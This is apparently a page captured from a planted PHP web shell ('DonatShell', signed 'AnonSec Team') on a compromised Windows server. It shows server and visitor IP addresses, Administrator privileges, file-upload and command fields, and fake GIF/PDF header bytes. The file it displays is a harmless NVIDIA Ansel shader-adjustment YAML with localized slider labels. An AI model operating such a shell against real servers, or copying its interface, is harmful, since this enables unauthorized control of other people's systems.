GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/Program Files/NVIDIA Corporation/Ansel/ShaderMod/Adjustments.yaml
pass_template: 
    samplerstates:
        samLinear:
            filter: MIN_MAG_MIP_LINEAR
            addressU: CLAMP
            addressV: CLAMP
        samLinearWrap:
            filter: MIN_MAG_MIP_LINEAR
            addressU: WRAP
            addressV: WRAP
    type: match-color-input
    constant-buffers: 
        globalParams: {screenSize: SCREEN_SIZE, elapsedTime: ELAPSED_TIME, captureState: CAPTURE_STATE}
        controlBuf: {g_sldExposure: exposureSlider, g_sldHighlightsIntensity : highlightsSlider, g_sldShadowsIntensity : shadowsSlider, g_sldContrast: contrastSlider, g_sldGamma: gammaSlider } 

typical_slider:
      type: float
      minimum-value: -1.0
      maximum-value: 1.0
      default-value: 0.0
      ui-sticky-region: 0.01
      ui-value-unit: "%"
      ui-value-min: -100
      ui-value-max: 100
      ui-value-step: 2.01

user-constants:
    - name: exposureSlider 
      ui-label: "Exposure"
      ui-label-localized:
          cs-CZ: "Expozice"
          da-DK: "Eksponering"
          de-DE: "Belichtung"
          el-GR: "Έκθεση"
          en-UK: "Exposure"
          es-ES: "Exposición"
          es-MX: "Exposición"
          fi-FI: "Valotus"
          fr-FR: "Exposition"
          hu: "Megvilágítás"
          it-IT: "Esposizione"
          ja-JP: "露出"
          ko-KR: "노출"
          nl-NL: "Belichting"
          nb-NO: "Eksponering"
          pl: "Ekspozycja"
          pt-PT: "Exposição"
          pt-BR: "Exposição"
          ru-RU: "Экспозиция"
          sk-SK: "Expozícia"
          sl-SI: "Čas osvetlitve"
          sv-SE: "Exponering"
          th-TH: "การเปิดรับแสง"
          tr-TR: "Pozlama"
          zh-CHS: "曝光"
          zh-CHT: "曝光"
      import: [typical_slider]
    - name: contrastSlider 
      ui-hint: "Use this to scale contrast of all channels: 0 is 20%, 1 is 500%"
      ui-hint-localized:
          cs-CZ: "Slouží ke škálování kontrastu všech kanálů: 0 je 20 %, 1 je 500 %"
          da-DK: "Brug til at skalere kontrast på alle kanaler: 0 er 20 %, 1 er 500 %"
          de-DE: "Verwenden Sie diese Option zum Skalieren des Kontrasts für alle Kanäle: 0 entspricht 20 %, 1 entspricht 500 %."
          el-GR: "Χρησιμοποιήστε το για κλιμάκωση της αντίθεσης όλων των καναλιών: Το 0 είναι 20%, το 1 είναι 500%"
          en-UK: "Use this to scale contrast of all channels: 0 is 20%, 1 is 500%"
          es-ES: "Use esta opción para escalar el contraste en todos los canales: 0 es 20%, 1 es 500%"
          es-MX: "Utilice esta configuración para ajustar la escala del contraste de todos los canales: 0 es 20 %, 1 es 500 %"
          fi-FI: "Käytä tätä skaalataksesi kaikkien kanavien kontrastia: 0 on 20 %, 1 on 500 %"
          fr-FR: "Cette option permet de régler le contraste de tous les canaux : 0 correspond à 20 %, 1 à 500 %"
          hu: "Ennek segítségével skálázhatja az összes csatorna kontrasztját: a 0 érték 20%-nak, az 1 érték 500%-nak felel meg"
          it-IT: "Usare questa funzione per proporzionare il contrasto di tutti i canali: 0 è pari al 20%, 1 è pari al 500%"
          ja-JP: "これを使用してすべてのチャンネルのコントラストをスケーリングする:0 は 20%、 1 は 500%"
          ko-KR: "모든 채널의 대비를 스케일하는 데 사용하십시오. 0은 20%, 1은 500%"
          nl-NL: "Gebruik dit om het contrast van alle kanalen te schalen: 0 is 20%, 1 is 500%"
          nb-NO: "Bruk denne for å skalere kontrast for alle kanaler: 0 er 20 %, 1 er 500 %"
          pl: "Służy do stopniowania kontrastu we wszystkich kanałach: 0 to 20%, a 1 to 500%"
          pt-PT: "Utilize esta opção para definir o contraste da escala de todos os canais: 0 corresponde a 20%, 1 corresponde a 500%"
          pt-BR: "Use para dimensionar o contraste de todos os canais: 0 é 20% e 1 é 500%."
          ru-RU: "Используйте этот параметр для регулировки контраста всех каналов: 0 = 20%, 1 = 500%"
          sk-SK: "Umožňuje nastavenie mierky kontrastu všetkých kanálov: 0 je 20 %, 1 je 500 %"
          sl-SI: "Uporabite to za prilagoditev kontrasta vseh kanalov: 0 je 20 %, 1 je 500 %"
          sv-SE: "Använd denna för att skala kontrasten på alla kanaler: 0 är 20 %, 1 är 500 %"
          th-TH: "ใช้สิ่งนี้เพื่อปรับระดับการตัดกันของสีในทุกช่องสัญญาณสี 0 คือ 20 เปอร์เซ็นต์ 1 คือ 500 เปอร์เซ็นต์"
          tr-TR: "Bütün kanalların kontrastını ölçeklendirmek için bu seçeneği kullanın: 0 değeri %20, 1 değeri %500 anlamına gelir."
          zh-CHS: "用此来缩放所有通道的对比度:0 指 20%,1 指 500%"
          zh-CHT: "使用此選項來縮放所有頻道的對比:0 表示 20%,1 表示 500%"
      ui-label: "Contrast"
      ui-label-localized:
          cs-CZ: "Kontrast"
          da-DK: "Kontrast"
          de-DE: "Kontrast"
          el-GR: "Αντίθεση"
          en-UK: "Contrast"
          es-ES: "Contraste"
          es-MX: "Contraste"
          fi-FI: "Kontrasti"
          fr-FR: "Contraste"
          hu: "Kontraszt"
          it-IT: "Contrasto"
          ja-JP: "コントラスト"
          ko-KR: "대비"
          nl-NL: "Contrast"
          nb-NO: "Kontrast"
          pl: "Kontrast"
          pt-PT: "Contraste"
          pt-BR: "Contraste"
          ru-RU: "Контраст"
          sk-SK: "Kontrast"
          sl-SI: "Kontrast"
          sv-SE: "Kontrast"
          th-TH: "การตัดกันของสี"
          tr-TR: "Kontrast"
          zh-CHS: "对比度"
          zh-CHT: "對比"
      default-value: 0.3          
      import: [typical_slider]
    - name: highlightsSlider 
      ui-label: "Highlights"
      ui-label-localized:
          cs-CZ: "Hlavní události"
          da-DK: "Højdepunkter"
          de-DE: "Highlights"
          el-GR: "Κύρια σημεία"
          en-UK: "Highlights"
          es-ES: "Momentos destacados"
          es-MX: "Elementos destacados"
          fi-FI: "Kohokohdat"
          fr-FR: "Tons clairs"
          hu: "Kiemeltek"
          it-IT: "Luci"
          ja-JP: "ハイライト"
          ko-KR: "강조표시"
          nl-NL: "Highlights"
          nb-NO: "Høydepunkter"
          pl: "Światła"
          pt-PT: "Destaques"
          pt-BR: "Destaques"
          ru-RU: "Подсветка"
          sk-SK: "Zvýraznené miesta"
          sl-SI: "Označeno"
          sv-SE: "Höjdpunkter"
          th-TH: "ไฮไลต์"
          tr-TR: "Aydınlık Vurgular"
          zh-CHS: "亮点"
          zh-CHT: "亮點"
      default-value: 0.2       
      import: [typical_slider]
    - name: shadowsSlider 
      ui-label: "Shadows"
      ui-label-localized:
          cs-CZ: "Stíny"
          da-DK: "Skygger"
          de-DE: "Schatten"
          el-GR: "Σκιές"
          en-UK: "Shadows"
          es-ES: "Sombras"
          es-MX: "Sombras"
          fi-FI: "Varjot"
          fr-FR: "Tons foncés"
          hu: "Árnyékok"
          it-IT: "Ombre"
          ja-JP: "シャドウ"
          ko-KR: "그림자"
          nl-NL: "Schaduwen"
          nb-NO: "Skygger"
          pl: "Cienie"
          pt-PT: "Sombras"
          pt-BR: "Sombras"
          ru-RU: "Тени"
          sk-SK: "Tiene"
          sl-SI: "Sence"
          sv-SE: "Skuggor"
          th-TH: "เงา"
          tr-TR: "Gölgeler"
          zh-CHS: "阴影"
          zh-CHT: "陰影"
      default-value: -0.3      
      import: [typical_slider]
    - name: gammaSlider 
      ui-label: "Gamma"
      ui-label-localized:
          cs-CZ: "Gama"
          da-DK: "Gamma"
          de-DE: "Gamma"
          el-GR: "Γάμα"
          en-UK: "Gamma"
          es-ES: "Gamma"
          es-MX: "Gamma"
          fi-FI: "Gamma"
          fr-FR: "Gamma"
          hu: "Gamma"
          it-IT: "Gamma"
          ja-JP: "ガンマ"
          ko-KR: "감마"
          nl-NL: "Gamma"
          nb-NO: "Gamma"
          pl: "Gamma"
          pt-PT: "Gama"
          pt-BR: "Gama"
          ru-RU: "Гамма"
          sk-SK: "Gama"
          sl-SI: "Gama"
          sv-SE: "Gamma"
          th-TH: "แกมม่า"
          tr-TR: "Gama"
          zh-CHS: "灰度"
          zh-CHT: "色差補正"
      import: [typical_slider]

main:
    import: [pass_template]
    shader: PSMain@Adjustments.yfx
    textures:
        texColor:
            channel: PIPE_INPUTS_COLOR

Anon7 - 2022
AnonSec Team